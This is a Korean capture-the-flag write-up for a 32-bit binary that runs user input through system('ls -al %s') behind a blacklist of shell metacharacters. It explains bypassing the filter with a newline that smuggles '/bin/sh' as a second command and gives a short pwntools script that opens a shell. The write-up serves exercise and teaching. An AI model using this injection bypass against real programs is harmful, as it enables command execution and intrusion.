문제
listd 바이너리의 checksec 결과는 다음과 같다.
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
file 명령어 결과는 다음과 같다.
listd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=acb3a41b7e1afaf7a9ff6bd06bad502136c4021f, not stripped
바이너리 코드
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-30Ch]
char buf; // [esp+21Ch] [ebp-10Ch]
unsigned int v6; // [esp+31Ch] [ebp-Ch]
v6 = __readgsdword(0x14u);
memset(&buf, 0, 0x100u);
read(0, &buf, 0x100u);
if ( strchr(&buf, '`')
|| strchr(&buf, '|')
|| strchr(&buf, '&')
|| strchr(&buf, '$')
|| strchr(&buf, '\'')
|| strchr(&buf, '"')
|| strchr(&buf, '`')
|| strchr(&buf, ';')
|| strchr(&buf, '`') )
{
puts("What are you doing ?");
exit(0);
}
sprintf(&s, "ls -al %s", &buf);
system(&s);
return 0;
}
read로 입력을 받고 입력값에 “’”, “ | ”, “&”, “$”, “", “””, “`”, “;” 등이 있으면 exit() 함수를 호출한다. |
따라서 위의 문자 없이 system 함수에서 “ls -al”과 함께 “/bin/sh”를 실행해야 한다.
처음에는 strchr을 우회하기 위해서 payload를 “\x00”+”;”+”/bin/sh”와 같이 구성해봤다. 하지만 %s에 의해서 NULL 뒤에 있는 부분은 출력되지 않았다.
그 다음 방안으로 “\0x0a” + “/bin/sh”를 넣었더니 system 함수에서 “ls -al”과 “/bin/sh”가 실행되어 쉘을 획득할 수 있었다. (“\x0a”+”;”+”/bin/sh”로 payload를 구성하면 strchr에 의해서 exit함수가 호출된다.)
풀이
#!/usr/bin/python
from pwn import *
file_path="/home/sungyun/round2/listd/listd"
p=process(file_path)
p.send("\x0a"+"/bin/sh")
p.interactive()